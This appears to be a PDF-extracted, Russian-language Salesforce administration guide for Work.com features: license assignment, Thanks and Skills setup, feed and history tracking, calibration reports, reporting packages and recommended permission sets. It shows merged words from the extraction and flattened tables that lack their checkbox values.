Назначьте лицензиюWork.com Only пользователям без лицензии Salesforce, которым
требуется доступ только к компонентуWork.com.

Лицензии пользователяWork.com Only поддерживают ограниченные функции
администрирования. Пользователям, которые будут администрировать циклы сводок
попроизводительностиилидругиефункцииWork.com, должныбытьназначенылицензии
на компонент «ПользовательWork.com».

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи».

2. Щелкните ссылку «Правка» напротив нужного пользователя.

3. Выберите значение «Work.com Only» из раскрывающегося списка «Лицензия
пользователя».

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Типы лицензий Work.com

Назначение лицензий на компонент «Пользователь Work.com»

Назначение лицензий на компонент «Пользователь Work.com»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для назначения лицензий
на компонент:
• «Управление

пользователями»

Назначьтелицензиюнакомпонент «ПользовательWork.com» пользователям, имеющим
лицензию Salesforce.

1. Введите строку «Пользователи» в поле «Быстрый поиск» в меню «Настройка» и
выберите пункт «Пользователи».

2. Щелкните ссылку «Правка» напротив нужного пользователя.

3. Установите флажок «ПользовательWork.com» в правом столбце.

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Типы лицензий Work.com

Назначение лицензий пользователя Work.com Only
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Настройка функций Work.com

Общие сведения о функциях Work.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

БольшинствофункцийWork.com требуютналичиярасширенияWork.com, нонекоторые
функции доступны пользователям Sales Cloud без ограничений.

Функции «Навыки» и «Благодарность» (кроме наград) доступны пользователям без
Work.com. Другие функции доступны только при наличии расширенияWork.com.

Табл. 11: ДоступныефункцииWork.com

Требуется расширение Work.comФункция

Признание: создание и вручение
эмблем-благодарностей

Признание: создание и вручение
эмблем-наград

Навыки: публикация и подтверждение
навыков

Цели: определение и отслеживание
выполненного объема работ

Обучение: возможность обучения в
режиме реального времени

Отзывы: публикация отзывов

Производительность: отслеживание
данных о производительности

Калибровка: визуализация и изменение
данных о производительности

Прим.: РекомендуемвключитьподдержкуChatter, независимоотверсии, используемойорганизацией. Many Work.com
features use the Chatter feed to notify and interact with users. Чтобы подтвердить включение Chatter, введите строку
«Параметры Chatter» вполе «Быстрый поиск», выберитепункт«Параметры Chatter»иубедитесь, чтопараметры
Chatter включены.

Принеобходимостинастройтеобластиотображенияразныхвкладок (например, «Цели» и «Отзывы») внутриприложения
Work.com и в профилях пользователей. Введите строку «Приложения» в поле «Быстрый поиск» в меню «Настройка»,
выберите пункт «Приложения» и внесите необходимые изменения в приложения и приложения вложенной вкладки.
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Дополнительную информацию см. в разделе «Редактирование свойств приложения» или «Управление приложениями
вложенной вкладки» в справочном разделе Salesforce.

СМ. ТАКЖЕ:

Общие сведения о внедрении Work.com

Функции «Благодарность» и «Навыки»

Функции «Цели» и «Обучение»

Функции «Сводка по производительности» и «Калибровка»

Общие сведения об отчетах и панелях мониторинга Work.com

Функции «Благодарность» и «Навыки»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Настройте функции «Благодарность» и «Навыки» путем настройки благодарностей в
публикаторе Chatter и назначения макета публикатора профилям.

Прежде чем настраивать функции «Благодарность» и «Признание», убедитесь в их
наличии. Введите строку «Параметры Work.com» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры Work.com» и включите нужныйпараметр.

Дополнительную информацию о создании наград см. в разделе «Копилки наград»
интерактивнойсправкиSalesforce. Дополнительнуюинформациюонастройкенавыков
см. в разделе «Настройка навыков».

СМ. ТАКЖЕ:

Общие сведения о функциях Work.com

Настройка действия «Благодарность» в публикаторе Chatter и на панели действий приложения Salesforce1

Назначение макета публикатора профилям
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Настройка действия «Благодарность» в публикаторе Chatter и на панели действий приложения
Salesforce1

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки действий:
• «Настройка

приложения»

При необходимости измените расположение действия «Благодарность» в публикаторе
Chatter и на панели действий приложения Salesforce1, либо отмените его доступность
для определенных профилей.

Чтобы изменить публикатор Chatter, включите действия в публикаторе.

1. Введите строку «Параметры Chatter» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Параметры Chatter».

2. Убедитесь в наличиифлажка «Включить действия в публикаторе» в разделе
«Действиявпубликаторе». Впротивномслучае, нажмитекнопку«Правка», установите
флажок «Включить действия в публикаторе» и нажмите кнопку «Сохранить».

3. Введитестроку «Макеты публикатора» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Макеты публикатора».

4. Щелкните ссылку «Правка» напротив глобального макета публикатора.

5. Перетащите действие «Благодарность» в нужнуюобласть публикатора Chatter или
панели действий приложения Salesforce1.

6. Нажмите кнопку «Сохранить».

Чтобы скрыть действие «Благодарность» от определенных пользователей, измените
параметры доступности профиля.

СМ. ТАКЖЕ:

Функции «Благодарность» и «Навыки»

Назначение макета публикатора профилям

Назначение макета публикатора профилям

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки быстрых
действий:
• «Настройка

приложения»

Назначьтемакетпубликатора, поддерживающийфункцию «Благодарность», профилям
пользователя. Пользователи данных профилей могут благодарить своих коллег прямо
из публикатора.

Чтобы отменить доступ некоторых пользователей организации к данной функции,
создайтедругоймакет, которыйнеподдерживаетфункцию «Благодарность», иназначьте
егопрофилю. Функция «Благодарность» небудет отображатьсяпользователямданного
профиля в публикаторе.

1. Введитестроку «Макеты публикатора» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Макеты публикатора».

2. Нажмите кнопку «Назначение макета публикатора».

3. Щелкните «Редактировать назначение».

4. Чтобывыбратьпрофильпользователя, щелкнителюбуюобласть соответствующей
строки таблицы.

Чтобы назначить глобальный макет публикатора нескольким профилям,
воспользуйтесь комбинацией SHIFT+щелчок для выбора смежных профилей или
CTRL+щелчок для выбора несмежных профилей.
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5. Выберитенужныйглобальныймакетпубликаторавраскрывающемсясписке «Макетпубликаторадляиспользования».

6. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Функции «Благодарность» и «Навыки»

Настройка действия «Благодарность» в публикаторе Chatter и на панели действий приложения Salesforce1

Функции «Цели» и «Обучение»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Включите функции отслеживания ленты и журнала для дальнейшего отслеживания
целей и обучения.

Прим.: Для настройки функций «Цели» и «Обучение» необходимо включить
Chatter.

Функция отслеживания ленты позволяет пользователям просматривать обновления
лентыChatterдлялюбыхсоответствующихизменений. Функцияотслеживанияжурнала
позволяет отслеживать изменения важныхполей. Рекомендуем отслеживать изменения
для объектов «Цель», «Показатель» и «Обучение».

Чтобы предоставить всем сотрудникам доступ к общекорпоративным целям,
воспользуйтесь ключевыми целями компании.

СМ. ТАКЖЕ:

Общие сведения о функциях Work.com

Включение функции отслеживания ленты для целей

Включение функции отслеживания ленты для обучения

Включение функции отслеживания ленты для показателей

Включение функции отслеживания журнала для полей объекта «Цель»

Включение функции отслеживания журнала для полей объекта «Обучение»

Включение функции отслеживания журнала для полей объекта «Показатель»

Настройка ключевых целей компании
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Включение функции отслеживания ленты для целей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки полей,
отслеживаемых в лентах:
• «Настройка

приложения»

Отслеживание обновлений для целей позволяет пользователям получать уведомления
о важных изменениях.

Определите обновления целей, которые должны быть доступны пользователям, и
выберите связанные поля для отслеживания.

1. Введитестроку «Отслеживание ленты» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Отслеживание ленты».

2. Щелкните объект «Цель».

3. Установите флажок «Включить отслеживание ленты».

4. Выберите нужные поля.

Совет: При выборе объекта «Цель» рекомендуем отслеживать поля «Дата
завершения», «Крайний срок», «Имя ответственного», «Выполнение» и «Все
связанные объекты».

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Функции «Цели» и «Обучение»

Включение функции отслеживания ленты для обучения

Включение функции отслеживания журнала для полей объекта «Цель»

Включение функции отслеживания журнала для полей объекта «Обучение»

Настройка ключевых целей компании

Включение функции отслеживания ленты для обучения

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки полей,
отслеживаемых в лентах:
• «Настройка

приложения»

Отслеживаниеобновленийдляпространствобученияпозволяетпользователямполучать
уведомления о важных изменениях.

Определите обновления обучения, которые должны быть доступны пользователям, и
выберите связанные поля для отслеживания.

1. Введитестроку «Отслеживание ленты» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Отслеживание ленты».

2. Щелкните объект «Обучение».

3. Установите флажок «Включить отслеживание ленты».

4. Выберите нужные поля.

Совет: При выборе объекта «Обучение» рекомендуем отслеживать поля
«Неактивно» и «Все связанные объекты».
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5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Функции «Цели» и «Обучение»

Включение функции отслеживания ленты для целей

Включение функции отслеживания журнала для полей объекта «Цель»

Включение функции отслеживания журнала для полей объекта «Обучение»

Настройка ключевых целей компании

Включение функции отслеживания ленты для показателей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки полей,
отслеживаемых в лентах:
• «Настройка

приложения»

Отслеживание обновлений для целей позволяет пользователям получать уведомления
о важных изменениях.

Определите обновления показателей, которые должны быть доступны пользователям,
и выберите связанные поля для отслеживания.

1. Введитестроку «Отслеживание ленты» вполе «Быстрый поиск» вменю «Настройка»
и выберите пункт «Отслеживание ленты».

2. Щелкните объект «Показатель».

3. Установите флажок «Включить отслеживание ленты».

4. Выберите нужные поля.

Совет: При выборе объекта «Показатель» рекомендуем отслеживать поля
«Комментарий», «Дата завершения», «Текущее значение», «Крайний срок»,
«Цель», «Исходное значение», «Имя ответственного», «Статус», «Целевое
значение» и «Все связанные объекты».

5. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Функции «Цели» и «Обучение»
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Включение функции отслеживания журнала для полей объекта «Цель»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки
отслеживаемых полей:
• «Настройка

приложения»

Системапозволяетотслеживатьизменения, внесенныевобъект «Цель», для выполнения
аудита.

Рекомендуем отслеживать поля «Дата завершения», «Крайний срок», «Имя
ответственного», «Выполнение», «Дата начала», «Статус» и «Описание».

1. В разделе настроек управления объектами для целей перейдите в раздел полей.

2. Нажмите кнопку «Настроить отслеживаниежурналов».

3. Выберите не более 20 полей для отслеживания.

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Функции «Цели» и «Обучение»

Включение функции отслеживания ленты для целей

Включение функции отслеживания ленты для обучения

Включение функции отслеживания журнала для полей объекта «Обучение»

Настройка ключевых целей компании

Поиск по параметрам управления объектами

Включение функции отслеживания журнала для полей объекта «Обучение»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки
отслеживаемых полей:
• «Настройка

приложения»

Система позволяет отслеживать изменения, внесенные в объект «Обучение», для
выполнения аудита.

Рекомендуем отслеживать поля «Обучающий», «Неактивно», «Имя ответственного» и
«Обучаемый».

1. В разделе настроек управления объектами для целей перейдите в раздел полей.

2. Нажмите кнопку «Настроить отслеживаниежурналов».

3. Выберите не более 20 полей для отслеживания.

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Функции «Цели» и «Обучение»

Включение функции отслеживания ленты для целей

Включение функции отслеживания ленты для обучения

Включение функции отслеживания журнала для полей объекта «Цель»

Настройка ключевых целей компании

Поиск по параметрам управления объектами
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Включение функции отслеживания журнала для полей объекта «Показатель»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки
отслеживаемых полей:
• «Настройка

приложения»

Система позволяет отслеживать изменения, внесенные в объект «Показатель», для
выполнения аудита.

Рекомендуемотслеживатьполя «Комментарий», «Дата завершения», «Текущеезначение»,
«Крайнийсрок», «Цель», «Исходное значение», «Имяответственного», «Статус», «Целевое
значение», «Весовое значение» и «Описание».

1. Вразделенастроек управленияобъектамидляпоказателейперейдите вразделполей.

2. Нажмите кнопку «Настроить отслеживаниежурналов».

3. Выберите не более 20 полей для отслеживания.

4. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Функции «Цели» и «Обучение»

Поиск по параметрам управления объектами

Настройка ключевых целей компании

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для настройки параметров
безопасности поля:
• «Управление

профилями и наборами
полномочий»

И

«Настройка
приложения»

Ключевые цели компаниипозволяют каждому сотруднику организации видеть общую
длявсейорганизациицельпослетого, как выпредоставитесовместныйдоступ, используя
для этого страницу подробных сведений о цели компании. Ключевые цели компании
могут создаваться администраторамиWork.com и пользователями, имеющими
соответствующий доступ.

При необходимости настройте параметры безопасности поля посредством наборов
полномочий.

1. В разделе настроек управления объектами для целей перейдите в раздел полей.

2. Щелкните метку поля «Ключевая цель компании».

3. Нажмите кнопку «Настроить параметры безопасности полей».

4. Убедитесь, чтофлажок«Доступно»установлендлявсехпрофилей, имеющихдоступ
к целям.

5. Убедитесь, чтофлажок «Толькодлячтения»не установлендляпрофилей, которым
должно быть доступно создание ключевых целей компании.

6. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Функции «Цели» и «Обучение»

Включение функции отслеживания ленты для целей

Включение функции отслеживания ленты для обучения

Включение функции отслеживания журнала для полей объекта «Цель»

Включение функции отслеживания журнала для полей объекта «Обучение»
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Функции «Сводка по производительности» и «Калибровка»

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Настройте отчеты по калибровке для сопоставления и обновления оценок
производительности в организации.

Сводки по производительностиWork.com позволяют собирать отзывы о сотрудниках
организации посредством настраиваемой анкеты. Пользователи могу создавать,
развертывать и предоставлять общий доступ к разным сводкам по производительности
вовсейорганизациипутемуправленияцикламисводокпопроизводительности. Функция
«Калибровка» позволяет просматривать и обновлять оценки производительности во
всей организации после отправки пользователями сведений о сводках по
производительности.

Чтобы создать и развернуть циклы сводок по производительности, откройте вкладку
«Циклы производительности». Вкладка «Циклы производительности» может
просматриваться пользователями при наличии набора полномочий или профиля
«Менеджер циклов производительности».

Дополнительнуюинформациюосозданиииразвертываниицикловсводокпопроизводительностисм. вразделе «Общие
сведения о циклах сводок по производительности» интерактивной справки Salesforce. Дополнительную информацию
офункции «Калибровка» см. в разделе «Общие сведения о калибровке».

СМ. ТАКЖЕ:

Общие сведения о функциях Work.com

Настройка отчетов по калибровке

Настройка отчетов по калибровке

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для просмотра вкладки
«Калибровка»:
• «Включить калибровку

Work.com»

Отчеты по калибровке охватывают данные из циклов сводок по производительности.
Данные отчеты позволяют менеджерам и руководителям получать более полное
представление о производительности рабочих групп или организаций. Прежде чем
использоватьфункцию «Калибровка», рекомендуемсоздатьотчет, загружающийданные
сводок по производительности.

Определитесобственныйотчетпокалибровкеилизагрузитепакетотчетовпокалибровке
со страницы «Установка пакета».

• Пакет отчетов по калибровке для производственной среды

• Пакет отчетов по калибровке для безопасной среды

1. Выберите нужный отчет по калибровке из раскрывающегося списка на вкладке
«Калибровка».

2. Щелкните «Просмотр/редактирование отчета».

3. Нажмите кнопку «Сохранить как».

4. Введите имя, дополнительное описание и уникальное имя, а затем выберите папку
отчетов.

Отчет, сохраненныйвобщедоступнуюпапку, доступенвсемпользователям, которые
могут просматривать данную папку, но позволяет каждому пользователю
просматривать только доступные сводки по производительности. Отчет по
калибровке, сохраненный в папку «Мои личные настраиваемые отчеты», доступен только текущему пользователю.
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5. Нажмите кнопку «Сохранить и вернуться к отчету».

Совет: Принеобходимостисоздайтеотчет. Отчет, соответствующийопределеннымкритериям, автоматически
добавляется в раскрывающийся список «Калибровка».

• Выберите тип отчета «КалибровкаWork.com».

• Выберите формат отчета «Сводный» с группированием по полям «Имя вопроса отзыва» и «Отзыв».

• Добавьте перечисленные ниже столбцы.

– Код цикла производительности

– Код запроса отзыва

– Код отзыва

– Тема: код пользователя

– Тема: полное имя (или «Тема: личное имя» и «Тема: фамилия»)

• Выполните фильтрацию отчета для просмотра только одного цикла сводок по производительности.

Загруженный пакет или созданный отчет, соответствующий заданным критериям, автоматически добавляется в
раскрывающийся список «Калибровка».

СМ. ТАКЖЕ:

Функции «Сводка по производительности» и «Калибровка»

Настройка отчетов Work.com

Общие сведения об отчетах и панелях мониторинга Work.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Рекомендуем использовать отчеты и панели мониторинга для определения порядка
использования функцийWork.com в организации.

Отчеты и панели мониторинга Salesforce доступны всем пользователямWork.com.
Администраторыдолжныустановитьпакетотчетности, соответствующийиспользуемой
версииWork.com. Ниже перечислены компоненты пакета отчетностиWork.com.

• Типы настраиваемых отчетов для объектовWork.com

• Настраиваемые поля для объектовWork.com

• Примеры панелей мониторинга

ИсходяизприобретеннойверсииWork.com, установитеодиниз указанныхнижепакетов.
Например, если организация используетWork.com Align, установите только пакет Align.
Чтобы определить используемую версиюWork.com, воспользуйтесь контрактом по
продукту.

Прим.:

• Прежде чем установить пакет, убедитесь во включениифункций, связанных с используемой версиейWork.com.
Правильная установка пакета возможна только при предварительном включениифункций.

• При приобретенииWork.com после выпуска Spring'15 установите пакетWork.com Perform.

• Все пакеты не могут быть установлены.
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Пакеты для производственной среды:

• Work.com Motivate

• Work.com Align

• Work.com Perform

• Отчеты и панели мониторинга для функций «Благодарность» и «Навыки»

Пакеты для безопасной среды:

• Work.com Motivate

• Work.com Align

• Work.com Perform

• Отчеты и панели мониторинга для функций «Благодарность» и «Навыки»

СМ. ТАКЖЕ:

Общие сведения о внедрении Work.com

Общие сведения о функциях Work.com

Подробные сведения об отчетах и панелях мониторинга Work.com

Подробные сведения об отчетах и панелях мониторинга Work.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Отчеты и панели мониторингаWork.com, добавленные в пакет отчетности, являются
хорошейосновойдлядальнейшейработы. Чтобысоздатьотчетыипанелимониторинга,
полезные для собственной организации, воспользуйтесь примерами ниже.

Отчеты по пакетам производительности Work.com

ЭтиотчетыстанутдоступнымипослеустановкипакетаWork.com Perform. ОтчетыWork.com
систематизируются по папкам на основе выполняемых функций.

• Отчеты по обучениюWork.com

• Отчеты по целямWork.com

• Сводки по производительностиWork.com

• Отчеты по признаниюWork.com

• Отчеты по навыкамWork.com

Табл. 12: Отчеты по обучениюWork.com

ОписаниеИмя отчета

Задачи и события, связанные с пространствами обученияДействия обучения (задачи и события)

Действия обучения в рабочей группе за последние 30 днейГруппа, работающая с действиями обучения: последние
30 дней

Действия обучения за последние 30 дней (сортировка по
отделам)

Действия обучения: последние 30 дней

Процент пользователей, имеющих пространство для
обучения (по отделу)

Отчет по покрытию обучения
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ОписаниеИмя отчета

События, связанные с пространствами обученияСобытия обучения (сортировка по взаимосвязи)

Все пространства обучения в организацииВзаимосвязи обучения

Табл. 13: Отчеты по целямWork.com

ОписаниеИмя отчета

Все цели организацииВсе цели

Все показатели организацииВсе показатели

Цели с сортировкой по дате созданияСозданные цели (по дате)

Ключевыецеликомпании, ихсостояниеипрочиесведенияВыполнение ключевых целей компании

Показатели, состояние которых оценивается как «Отстает
от плана» или «Критическое»

Показатели, отмеченные как «Отстает от плана» или
«Критическое»

Цели, которые не менялись в течение 30 дней.Устаревшие цели

Цели вашей команды и ход их выполненияВыполнение командных целей Work.com

Табл. 14: Сводные отчеты по производительностиWork.com

ОписаниеИмя отчета

Все активные пользователи с менеджером организацииВсе активные пользователи с менеджером

Вопросы менеджера, заданные в сводке по
производительности

Вопросы менеджера: X

Образец отчета для отслеживания действий цикла
производительности

Ответы по производительности по вопросу: Q1

Образец отчета для отслеживания действий цикла
производительности

Ответы по производительности по вопросу: Q3

Сводки по производительности, сгруппированные по
отделу

Сводки по производительности по отделам

Образец отчета для отслеживания действий цикла
производительности

Сводки по производительности с ответами: Q1

Образец отчета для отслеживания действий цикла
производительности

Сводки по производительности с ответами: Q3

СтатусзапросавразличныхсводкахпопроизводительностиОбновлениестатусацикла сводокпопроизводительности

Вопросы, заданныевсамостоятельныхсводкахпользователяВопросы сводки на уровне пользователя: X

Процент участников на цикл производительностиСведения о цикле сводок

ПроцентподанныхзапросовнациклпроизводительностиСведения о цикле сводок: отправлено
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Табл. 15: Отчеты по признаниюWork.com

ОписаниеИмя отчета

Врученные эмблемы-благодарности, сгруппированныепо
дате вручения каждой эмблемы.

Врученные эмблемы: по дате вручения

Врученные эмблемы-благодарности, сгруппированныепо
отдельным эмблемам и роли вручающего.

Разделение врученных эмблем

Полученные эмблемы-благодарности, сгруппированные
по отдельным эмблемам и роли получателя.

Разделение полученных эмблем

Предоставленное количество каждой копилки наград.Предоставленные копилки наград

Оставшееся количество каждой копилки наград.Оставшиеся копилки наград

Врученные эмблемы-благодарности по каждому
пользователю.

Благодарности по вручающему

Полученные эмблемы-благодарности по каждому
пользователю.

Врученные благодарности: данные получателя

Полученные эмблемы-благодарности по каждой роли.Полученные благодарности по роли

Табл. 16: Отчеты по навыкамWork.com

ОписаниеИмя отчета

Пользователи с наибольшим числом подтверждений
квалификации

Люди с наибольшим числом подтверждений

Пользователи с наибольшим числом подтверждений
навыков

Люди с наивысшими навыками

Навыки с сортировкой по дате созданияСоздание новых навыков по дате

Подтверждения с сортировкой по дате созданияПодтверждения навыков по дате

Навыки с сортировкой по дате добавления в профили
пользователей

Добавленные в профиль навыки по дате

Навыкиссортировкойпочислупользователей, овладевших
ими

Основные навыки

Панели мониторинга пакетов производительности Work.com

Эти панели мониторинга станут доступными после установки пакетаWork.com Perform.

• Панели мониторинга обученияWork.com

• Сводные панели мониторинга производительностиWork.com

• Панели мониторинга признанияWork.com

• Панели мониторинга навыковWork.com
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Табл. 17: Панели мониторинга обученияWork.com

ОписаниеИмя отчета

Отображает покрытие обучения и активность компанииПанель мониторинга обучения компании

Отображает ключевые цели компании и число созданных
целей

Панель мониторинга целей компании

Отображает сведения об обучении и цели вашей командыПанель мониторинга обучения менеджера

Табл. 18: Сводные панели мониторинга производительностиWork.com

ОписаниеИмя отчета

В ней отображается статистика об участниках, вопросах и
ходе выполнения конкретного производственного цикла

Панель мониторинга производственного цикла

Табл. 19: Панели мониторинга признанияWork.com

ОписаниеИмя отчета

Отображает статистикуэмблемисведенияопользователях,
вручающих и получающих эмблемы

Панель мониторинга признания

Отображает статистику эмблем и наград, а также сведения
о пользователях, вручающих и получающих эмблемы

Панель мониторинга признания в виде наград

Табл. 20: Панели мониторинга навыковWork.com

ОписаниеИмя отчета

Отображает статистику навыков организацииПанель мониторинга навыков

СМ. ТАКЖЕ:

Общие сведения об отчетах и панелях мониторинга Work.com

Рекомендованные наборы полномочий Work.com

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях:
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

Создайте разные наборы полномочий для разных типов пользователейWork.com.

Создайте наборы полномочий для каждого типа пользователяWork.com.

Просмотретьобзор: создание, редактированиеиназначениенабораполномочий

Чтобы назначить соответствующие параметры объекта и полномочия системы для
каждого набора полномочий, воспользуйтесь таблицами ниже.
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Стандартный пользователь
Набор полномочий «Стандартный пользователь» предоставляет пользователю доступ ко всем основнымфункциям
Work.com.

Табл. 21: Параметры объекта для профиля «Стандартный пользователь»

Изменение
всех
данных

Просмотр
всех
данных

УдалениеРедактированиеСозданиеЧтениеПараметры
вкладки

Имя объекта

Доступно

Отображается

Эмблемы (вкладка)

Обучение (объект)

Доступно

Отображается

Обучение (вкладка)

Документы

Подтверждения

Отзывы (объект)

Вопросы отзыва

Наборы вопросов отзыва

Доступно

Отображается

Запросы отзывов

(and Feedback tab)

Ссылки цели

Цели (объект)

Цели (поле «Дата
завершения»)

Цели (поле «Является
ключевой целью
компании»)

Доступно

Отображается

Цели (вкладка)

Ссылки на данные
показателя

Показатели
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Изменение
всех
данных

Просмотр
всех
данных

УдалениеРедактированиеСозданиеЧтениеПараметры
вкладки

Имя объекта

Доступно

Отображается

Циклы
производительности

Доступно

Отображается

Признание (вкладка)

Доступно

Отображается

Копилки наград

Доступно

Отображается

Типы копилки наград

Награды

Доступно

Отображается

Навыки

Пользователи навыка

Табл. 22: Полномочия системы для профиля «Стандартный пользователь»

ВключеноПолномочия системы

API включен

Редактирование событий

Редактирование задач

Менеджер циклов производительности
Как правило, набор полномочий «Менеджер циклов производительности» используется для создания и развертывания
сводок по производительности для сотрудников.

Прим.: Данный набор полномочий должен быть назначен дополнительно к набору полномочий «Стандартный
пользователь».
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Табл. 23: Параметры объекта для профиля «Менеджер циклов производительности»

Изменение
всех
данных

Просмотр
всех
данных

УдалениеРедактированиеСозданиеЧтениеПараметры
вкладки

Имя объекта

Доступно

Отображается

Калибровка (вкладка)

Отзывы (объект)

Вопросы отзыва

Наборы вопросов отзыва

Доступно

Отображается

Запросы отзывов

(and Feedback tab)

Доступно

Отображается

Циклы
производительности

Табл. 24: Полномочия системы для профиля «Менеджер циклов производительности»

ВключеноПолномочия системы

Включение калибровкиWork.com

Просмотр настройки и конфигурации

Автор настраиваемой эмблемы
Наборполномочий «Авторнастраиваемойэмблемы» предоставляетпользователямвозможностьсозданиянастраиваемых
эмблем.

Прим.:

• При включении параметра «Разрешить создание настраиваемых эмблем только определенной группе
пользователей» пользователямдолжнобытьтакжепредоставленополномочие «Создание» дляобъекта «Награда».

• Данный набор полномочий должен быть назначен дополнительно к набору полномочий «Стандартный
пользователь».

Табл. 25: Полномочия системы для профиля «Автор настраиваемой эмблемы»

ВключеноПолномочия системы

Создание определений настраиваемой эмблемы

Модерирование Chatter
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Автор награды
Набор полномочий «Автор награды» предоставляет пользователям возможность связывания эмблем с реальными
наградами.

Прим.: Данный набор полномочий должен быть назначен дополнительно к набору полномочий «Стандартный
пользователь».

Табл. 26: Параметры объекта для профиля «Автор награды»

Изменение
всех
данных

Просмотр
всех
данных

УдалениеРедактированиеСозданиеЧтениеИмя объекта

Копилки наград

Типы копилки наград

Награды

Табл. 27: Полномочия системы для профиля «Автор награды»

ВключеноПолномочия системы

Создание определений настраиваемой эмблемы

Администратор Work.com
Набор полномочий «АдминистраторWork.com» предоставляет пользователю полный административный доступ к
объектам и функциямWork.com. Данный набор полномочий должен быть назначен вместо набора полномочий
«Стандартный пользователь».

Табл. 28: Параметры объекта для профиля «Стандартный пользователь»

Изменение
всех
данных

Просмотр
всех
данных

УдалениеРедактированиеСозданиеЧтениеПараметры
вкладки

Имя объекта

Доступно

Отображается

Эмблемы (вкладка)

Доступно

Отображается

Калибровка (вкладка)

Обучение (объект)

Доступно

Отображается

Обучение (вкладка)
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Изменение
всех
данных

Просмотр
всех
данных

УдалениеРедактированиеСозданиеЧтениеПараметры
вкладки

Имя объекта

Документы

Подтверждения

Отзывы (объект)

Вопросы отзыва

Наборы вопросов отзыва

Доступно

Отображается

Запросы отзывов

(and Feedback tab)

Ссылки цели

Цели (объект)

Цели (поле «Дата
завершения»)

Цели (поле «Является
ключевой целью
компании»)

Доступно

Отображается

Цели (вкладка)

Ссылки на данные
показателя

Показатели

Доступно

Отображается

Циклы
производительности

Доступно

Отображается

Признание (вкладка)

Доступно

Отображается

Копилки наград

Доступно

Отображается

Типы копилки наград
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Изменение
всех
данных

Просмотр
всех
данных

УдалениеРедактированиеСозданиеЧтениеПараметры
вкладки

Имя объекта

Награды

Доступно

Отображается

Навыки

